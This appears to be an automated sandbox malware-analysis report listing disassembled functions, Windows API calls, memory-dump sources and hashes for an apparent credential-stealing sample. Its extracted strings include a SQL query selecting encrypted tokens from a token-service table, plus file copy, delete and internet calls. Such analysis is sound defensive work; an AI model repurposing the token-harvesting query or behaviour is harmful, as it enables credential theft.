lstrcpy.KERNEL32(00000000,?), ref: 0068D39B
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0068D3A7
lstrlenA.KERNEL32(006B179C), ref: 0068D3B2
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D3D2
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068D3DE
lstrcpy.KERNEL32(00000000,?), ref: 0068D409
lstrcatA.KERNEL32(00000000,00000000), ref: 0068D414
lstrlenA.KERNEL32(0125D5B8), ref: 0068D422
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D44B
lstrcatA.KERNEL32(00000000,0125D5B8), ref: 0068D453
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D481
lstrcpy.KERNEL32(00000000,?), ref: 0068D4B6
lstrcatA.KERNEL32(00000000,AccountTokens), ref: 0068D4C2
lstrlenA.KERNEL32(006B179C), ref: 0068D4CD
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D4ED
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068D4F9
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D522
lstrcatA.KERNEL32(00000000,00000000), ref: 0068D52D
lstrlenA.KERNEL32(006B4BA8), ref: 0068D538
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D55A
lstrcatA.KERNEL32(00000000,006B4BA8), ref: 0068D566
lstrcpy.KERNEL32(00000000,?), ref: 0068D58E
lstrcatA.KERNEL32(00000000,00000000), ref: 0068D599
lstrlenA.KERNEL32(0125D5B8), ref: 0068D5A8
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D5CE
lstrcatA.KERNEL32(00000000,00000000), ref: 0068D5D9
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D607
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068D6A0
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D6ED
lstrcpy.KERNEL32(00000000,?), ref: 0068D74A
lstrlenA.KERNEL32(?), ref: 0068D767
LocalAlloc.KERNEL32(00000040,00000001), ref: 0068D787
StrStrA.SHLWAPI(00000000,AccountId), ref: 0068D7B1
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D7EB
lstrcatA.KERNEL32(00000000,00000000), ref: 0068D7F6
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D821
lstrlenA.KERNEL32(006B4CB0), ref: 0068D833
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D855
lstrcatA.KERNEL32(00000000,006B4CB0), ref: 0068D861

Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681557
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 00681579
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 0068159B
Part of subcall function 00681530: lstrcpy.KERNEL32(00000000,?), ref: 006815FF

Part of subcall function 0069EFC0: lstrcpy.KERNEL32(00000000,?), ref: 0069EFF2

lstrcpy.KERNEL32(00000000,00000000), ref: 0068D88C
lstrlenA.KERNEL32(0000000A), ref: 0068D89D
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D8C5
lstrcatA.KERNEL32(00000000,00000000), ref: 0068D8D0
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D8F8
lstrlenA.KERNEL32(006B4AE4), ref: 0068D90A
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D92A
lstrcatA.KERNEL32(00000000,006B4AE4), ref: 0068D936
lstrcpy.KERNEL32(00000000,00000000), ref: 0068D95F
lstrlenA.KERNEL32(?), ref: 0068DA72
lstrlenA.KERNEL32(?), ref: 0068DA7E
lstrcpy.KERNEL32(00000000,00000000), ref: 0068DAA6

Strings

AccountTokens, xrefs: 0068D369, 0068D3A1, 0068D4BC
SELECT service, encrypted_token FROM token_service, xrefs: 0068D65E
AccountId, xrefs: 0068D7AB

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$AllocLocal
String ID: AccountId$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3196764088-2907684507
Opcode ID: dea92014964f86f900b4c829741e18299d5ed9804b0ad54b1adfebcd0ef7b95d
Instruction ID: ec38b3ce4cf249d1004031ecace6e77921c57d27fe691d14c6633ea6ef968404
Opcode Fuzzy Hash: dea92014964f86f900b4c829741e18299d5ed9804b0ad54b1adfebcd0ef7b95d
Instruction Fuzzy Hash: 04427071911206AFCB25FF69D889AAE77FABF44304F144229F949A7391DB34DC41CBA0

Function 0068F789 Relevance: 98.5, APIs: 65, Instructions: 968stringmemoryfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068F7AE
lstrlenA.KERNEL32(012602F8), ref: 0068F7BD
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F7E0
lstrcatA.KERNEL32(00000000,00000000), ref: 0068F7EB
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F811
lstrcpy.KERNEL32(00000000,?), ref: 0068F852
lstrcatA.KERNEL32(00000000), ref: 0068F85C
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F885
CopyFileA.KERNEL32(?,00000000,00000001), ref: 0068F8A4
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068F8D4
lstrlenA.KERNEL32(0125D598), ref: 0068F8E3
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F90B
lstrcatA.KERNEL32(00000000,00000000), ref: 0068F916
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F93F
lstrlenA.KERNEL32(006B179C), ref: 0068F951
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F973
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068F97F
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F9A8
lstrcpy.KERNEL32(00000000,00000000), ref: 0068F9D7
lstrcatA.KERNEL32(00000000,00000000), ref: 0068F9E2
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FA09
lstrlenA.KERNEL32(006B4BA8), ref: 0068FA1B
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FA3D
lstrcatA.KERNEL32(00000000,006B4BA8), ref: 0068FA49
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FA74
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FAA1
lstrcatA.KERNEL32(00000000,00000000), ref: 0068FAAC
lstrlenA.KERNEL32(0125D5B8), ref: 0068FABA
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FADE
lstrcatA.KERNEL32(00000000,0125D5B8), ref: 0068FAE6
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FB11
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0068FB67
RtlAllocateHeap.NTDLL(00000000), ref: 0068FB6E
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FBBD
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FBF6
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FC29
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FC5C
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FC96
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FCC9
lstrcpy.KERNEL32(00000000,00000000), ref: 0068FCFB
StrCmpCA.SHLWAPI(?,006B4CF0), ref: 0068FD0A
lstrlenA.KERNEL32(0125D658), ref: 0068FD1C
lstrcpy.KERNEL32(00000000,0125D5F8), ref: 0068FD7E
StrCmpCA.SHLWAPI(?,006B4CF0), ref: 0068FD8D
lstrlenA.KERNEL32(0125D658), ref: 0068FD9F
lstrcpy.KERNEL32(00000000,0125D5F8), ref: 0068FE01
lstrcatA.KERNEL32(?,?), ref: 0068FE0F
lstrcatA.KERNEL32(?,006B4CF4), ref: 0068FE1E
lstrcatA.KERNEL32(?,00000000), ref: 0068FE2C
lstrcatA.KERNEL32(?,006B4CF4), ref: 0068FE3B
lstrlenA.KERNEL32(?), ref: 006901E8
lstrlenA.KERNEL32(?), ref: 006901F7
lstrcpy.KERNEL32(00000000,00000000), ref: 00690224
memset.MSVCRT ref: 0069025C
DeleteFileA.KERNEL32(?), ref: 00690286

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen$FileHeap$AllocateCopyDeleteProcessmemset
String ID:
API String ID: 1332541768-0
Opcode ID: 99dcabb2fc782bae07d199042638f1f603db07f87596261929eeb24b78a7f291
Instruction ID: b53b5edb0d9e3270bddfe1644100c9b591fd4a2244a5c43b2ec60946d31871fd
Opcode Fuzzy Hash: 99dcabb2fc782bae07d199042638f1f603db07f87596261929eeb24b78a7f291
Instruction Fuzzy Hash: D5827E70A01206DFDB24EF69C948BAAB7FABF44304F188269E949E7361DB35DD41CB50

Function 00685790 Relevance: 97.0, APIs: 51, Strings: 4, Instructions: 734
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,?), ref: 006857BF
lstrlenA.KERNEL32(?), ref: 00685812
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00685854
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00685893
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006858C3
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006858F8

Strings

------, xrefs: 00685BDB, 00685CCC, 00685DBA
------, xrefs: 006859F9, 00685A26
--, xrefs: 00685A5F, 00685A87
", xrefs: 00685C74, 00685D62, 00685E50

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID: ------$"$--$------
API String ID: 367037083-1406108388
Opcode ID: d428e60cb7685c21e5b752cbd9844a91c0c811c06dc5b82341287d21b35f6bb9
Instruction ID: 34af28ce68aca6af9f16ededf7f6e14331a0fe30c43a4727a67dda66f16409d8
Opcode Fuzzy Hash: d428e60cb7685c21e5b752cbd9844a91c0c811c06dc5b82341287d21b35f6bb9
Instruction Fuzzy Hash: 51424D71D1061A9FCB50FBB4DC85A9E7BFAEF48310F055628F906A7252DB34ED028B94

Function 00685869 Relevance: 91.7, APIs: 48, Strings: 4, Instructions: 663
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00685893
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006858C3
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006858F8
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 00685932
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00685942
StrCmpCA.SHLWAPI(?,0125D878), ref: 00685962

Strings

------, xrefs: 00685BDB, 00685CCC, 00685DBA
------, xrefs: 006859F9, 00685A26
--, xrefs: 00685A5F, 00685A87
", xrefs: 00685C74, 00685D62, 00685E50

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$InternetOpen
String ID: ------$"$--$------
API String ID: 2041821634-1406108388
Opcode ID: fa08bf6cb305af452050843ad615fb9cacd87a1e388075238daaec0cfe5ed95c
Instruction ID: 7658e1fd3812c540ceabc7d78ea1e266ee58b0950cee672e224a46d38f52a3f8
Opcode Fuzzy Hash: fa08bf6cb305af452050843ad615fb9cacd87a1e388075238daaec0cfe5ed95c
Instruction Fuzzy Hash: 5C324D7191061A9BCB50FBB4DC85A9E7BFAEF48310F155628F906A7352DB34EC028BD4

Function 006986F0 Relevance: 86.2, APIs: 47, Strings: 2, Instructions: 447
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strtok_s.MSVCRT ref: 00698717
lstrlenA.KERNEL32(00000000), ref: 00698776
lstrcpy.KERNEL32(00000000,00000000), ref: 006987AD
lstrcpy.KERNEL32(?,00000000), ref: 006987EA
StrStrA.SHLWAPI(?,0125FEC0), ref: 0069880F
lstrcpyn.KERNEL32(C:\Users\user\Documents\,?,00000000), ref: 0069882E
lstrlenA.KERNEL32(?), ref: 00698841
wsprintfA.USER32 ref: 00698851
lstrcpy.KERNEL32(?,?), ref: 00698867
StrStrA.SHLWAPI(?,01260058), ref: 00698894
lstrcpy.KERNEL32(?,C:\Users\user\Documents\), ref: 006988F4
StrStrA.SHLWAPI(?,0125FE48), ref: 00698921
lstrcpyn.KERNEL32(C:\Users\user\Documents\,?,00000000), ref: 00698940
strtok_s.MSVCRT ref: 00698D9A

Strings

%s%s, xrefs: 0069884B, 006988D8, 0069895D, 006989E2, 00698A6F, 00698AF4, 00698B79, 00698C06
C:\Users\user\Documents\, xrefs: 00698829, 0069885A, 006988B6, 006988E7, 006988EC, 0069893B, 0069896C, 006989C0, 006989F1, 00698A4D, 00698A7E, 00698A83, 00698AD2, 00698B03, 00698B57, 00698B88, 00698BE4, 00698C15, 00698C1A

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcpynlstrlenstrtok_s$wsprintf
String ID: %s%s$C:\Users\user\Documents\
API String ID: 3558900699-371145571
Opcode ID: 58d09e2fb3783bdd853a9f1ed40126ae38580a7f967479bdc8bcbd09e76e801d
Instruction ID: d0c9b358ba22ea5eeebb82ab113bac1a7b1014dd150b72227f69bdd21cb8844b
Opcode Fuzzy Hash: 58d09e2fb3783bdd853a9f1ed40126ae38580a7f967479bdc8bcbd09e76e801d
Instruction Fuzzy Hash: 6C021772904118EFCB20DB64DD48AEA77BEFF89300F144259EA49A7350DF70AE45CBA0

Function 00687BC0 Relevance: 83.2, APIs: 55, Instructions: 667
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00687BD7
RtlAllocateHeap.NTDLL(00000000), ref: 00687BDE
lstrcatA.KERNEL32(?,0125CE10), ref: 00687DEE
lstrcatA.KERNEL32(?,?), ref: 00687E02
lstrcatA.KERNEL32(?,?), ref: 00687E16
lstrcatA.KERNEL32(?,?), ref: 00687E2A
lstrcatA.KERNEL32(?,0125FEF0), ref: 00687E3E
lstrcatA.KERNEL32(?,0125FE18), ref: 00687E52
lstrcatA.KERNEL32(?,0125FE30), ref: 00687E65
lstrcatA.KERNEL32(?,0125FF08), ref: 00687E79
lstrcatA.KERNEL32(?,0125DA38), ref: 00687E8D
lstrcatA.KERNEL32(?,?), ref: 00687EA1
lstrcatA.KERNEL32(?,?), ref: 00687EB5
lstrcatA.KERNEL32(?,?), ref: 00687EC9
lstrcatA.KERNEL32(?,0125FEF0), ref: 00687EDC
lstrcatA.KERNEL32(?,0125FE18), ref: 00687EF0
lstrcatA.KERNEL32(?,0125FE30), ref: 00687F04
lstrcatA.KERNEL32(?,0125FF08), ref: 00687F17
lstrcatA.KERNEL32(?,0125CE98), ref: 00687F2B
lstrcatA.KERNEL32(?,?), ref: 00687F3F
lstrcatA.KERNEL32(?,?), ref: 00687F53
lstrcatA.KERNEL32(?,?), ref: 00687F67
lstrcatA.KERNEL32(?,0125FEF0), ref: 00687F7B
lstrcatA.KERNEL32(?,0125FE18), ref: 00687F8E
lstrcatA.KERNEL32(?,0125FE30), ref: 00687FA2
lstrcatA.KERNEL32(?,0125FF08), ref: 00687FB6
lstrcatA.KERNEL32(?,0125CF00), ref: 00687FC9
lstrcatA.KERNEL32(?,?), ref: 00687FDD
lstrcatA.KERNEL32(?,?), ref: 00687FF1
lstrcatA.KERNEL32(?,?), ref: 00688005
lstrcatA.KERNEL32(?,0125FEF0), ref: 00688019
lstrcatA.KERNEL32(?,0125FE18), ref: 0068802D
lstrcatA.KERNEL32(?,0125FE30), ref: 00688040
lstrcatA.KERNEL32(?,0125FF08), ref: 00688054
lstrcatA.KERNEL32(?,0125CF68), ref: 00688068
lstrcatA.KERNEL32(?,?), ref: 0068807C
lstrcatA.KERNEL32(?,?), ref: 00688090
lstrcatA.KERNEL32(?,?), ref: 006880A4
lstrcatA.KERNEL32(?,0125FEF0), ref: 006880B7
lstrcatA.KERNEL32(?,0125FE18), ref: 006880CB
lstrcatA.KERNEL32(?,0125FE30), ref: 006880DF
lstrcatA.KERNEL32(?,0125FF08), ref: 006880F2
lstrcatA.KERNEL32(?,01261150), ref: 00688106
lstrcatA.KERNEL32(?,?), ref: 0068811A
lstrcatA.KERNEL32(?,?), ref: 0068812E
lstrcatA.KERNEL32(?,?), ref: 00688142
lstrcatA.KERNEL32(?,0125FEF0), ref: 00688156
lstrcatA.KERNEL32(?,0125FE18), ref: 00688169
lstrcatA.KERNEL32(?,0125FE30), ref: 0068817D
lstrcatA.KERNEL32(?,0125FF08), ref: 00688191

Part of subcall function 00687A60: lstrcatA.KERNEL32(27BBB020,006B4AE4), ref: 00687A90
Part of subcall function 00687A60: lstrcatA.KERNEL32(27BBB020,?), ref: 00687ABD
Part of subcall function 00687A60: lstrcatA.KERNEL32(27BBB020, : ), ref: 00687ACF
Part of subcall function 00687A60: lstrcatA.KERNEL32(27BBB020,?), ref: 00687AF0
Part of subcall function 00687A60: lstrcatA.KERNEL32(27BBB020,006B4AE4), ref: 00687B60

Part of subcall function 00687A60: wsprintfA.USER32 ref: 00687B10
Part of subcall function 00687A60: lstrcpy.KERNEL32(00000000,?), ref: 00687B39
Part of subcall function 00687A60: lstrcatA.KERNEL32(27BBB020,00000000), ref: 00687B47

lstrcatA.KERNEL32(?,0125D868), ref: 006882C2
lstrcatA.KERNEL32(?,01260C78), ref: 006882D5
lstrlenA.KERNEL32(27BBB020), ref: 006882E2
lstrlenA.KERNEL32(27BBB020), ref: 006882F2
lstrcpy.KERNEL32(00000000,?), ref: 00688332

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrcpylstrlen$AllocateProcesswsprintf
String ID:
API String ID: 3168643798-0
Opcode ID: 6aff227df1f2f345d0dffd26fa8e8a4f1541646e0de4fedcce64ed50d9a449c8
Instruction ID: 4d7312696fdc6d58f8682b7babf1d18bef69eb0a7f87e0e78933d441e45cf58a
Opcode Fuzzy Hash: 6aff227df1f2f345d0dffd26fa8e8a4f1541646e0de4fedcce64ed50d9a449c8
Instruction Fuzzy Hash: 9C522A75D10258EBCB54EB64CC949DEB7B9BB88300F108AA9E609A3354DF30AF85DF50

Function 0068AF80 Relevance: 75.7, APIs: 50, Instructions: 746stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068AFB3
lstrlenA.KERNEL32(01260310), ref: 0068AFD2
lstrcpy.KERNEL32(00000000,?), ref: 0068AFFF
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B007
lstrlenA.KERNEL32(006B179C), ref: 0068B012
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B032
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068B03E
lstrcpy.KERNEL32(00000000,?), ref: 0068B069
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B074
lstrlenA.KERNEL32(0125D5B8), ref: 0068B082
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B0AE
lstrcatA.KERNEL32(00000000,0125D5B8), ref: 0068B0B6
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B0E7
lstrlenA.KERNEL32(01260310), ref: 0068B10C
lstrcpy.KERNEL32(00000000,?), ref: 0068B139
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B141
lstrlenA.KERNEL32(006B179C), ref: 0068B14C
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B16C
lstrcatA.KERNEL32(00000000,006B179C), ref: 0068B178
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B1A1
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B1AC
lstrlenA.KERNEL32(006B4BA8), ref: 0068B1B7
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B1D9
lstrcatA.KERNEL32(00000000,006B4BA8), ref: 0068B1E5
lstrcpy.KERNEL32(00000000,?), ref: 0068B20D
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B218
lstrlenA.KERNEL32(0125D5B8), ref: 0068B22A
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B253
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B261
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B28F
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 0068B330
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B37E
lstrcpy.KERNEL32(00000000,00000000), ref: 0068B3A9
lstrcatA.KERNEL32(00000000,00000000), ref: 0068B3B1

Memory Dump Source

Source File: 00000000.00000002.1967366172.0000000000681000.00000080.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1967279641.0000000000680000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967509665.00000000006AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967596878.00000000006B7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000704000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.0000000000735000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.000000000074C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000007E7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1967652675.00000000008B8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1968046244.00000000008CA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_qlI3ReINCV.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$lstrlen
String ID:
API String ID: 2762123234-0
Opcode ID: 81e8228b88189e60ca34dc4737ee42e00c337133c8f1cdc0ef837105b82d5aa2
Instruction ID: 33849e8262395adc0e2aaa6b1f7d53540cc3df7a4e7d0a8c28a1b31295c51980
Opcode Fuzzy Hash: 81e8228b88189e60ca34dc4737ee42e00c337133c8f1cdc0ef837105b82d5aa2
Instruction Fuzzy Hash: 8352A370901606DFCB21EF69D898AAEB7F6FF44304F185269E9099B361DB35DC42CB90

Function 006A01C2 Relevance: 73.3, APIs: 40, Strings: 1, Instructions: 1558stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006A01E3
lstrlenA.KERNEL32(006ACFF4,00000000,00000000,00000000,?,006A2075), ref: 006A028D
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006A02B1
lstrlenA.KERNEL32(006ACFF4,?,006A2075), ref: 006A02BC
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006A02E0
lstrlenA.KERNEL32(006ACFF4,?,006A2075), ref: 006A02EB
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006A030F
lstrlenA.KERNEL32(006ACFF4,?,006A2075), ref: 006A032A
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006A0359
lstrlenA.KERNEL32(006ACFF4,?,006A2075), ref: 006A0364
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006A0393
lstrlenA.KERNEL32(006ACFF4,?,006A2075), ref: 006A039E
lstrcpy.KERNEL32(00000000,006ACFF4), ref: 006A03D6
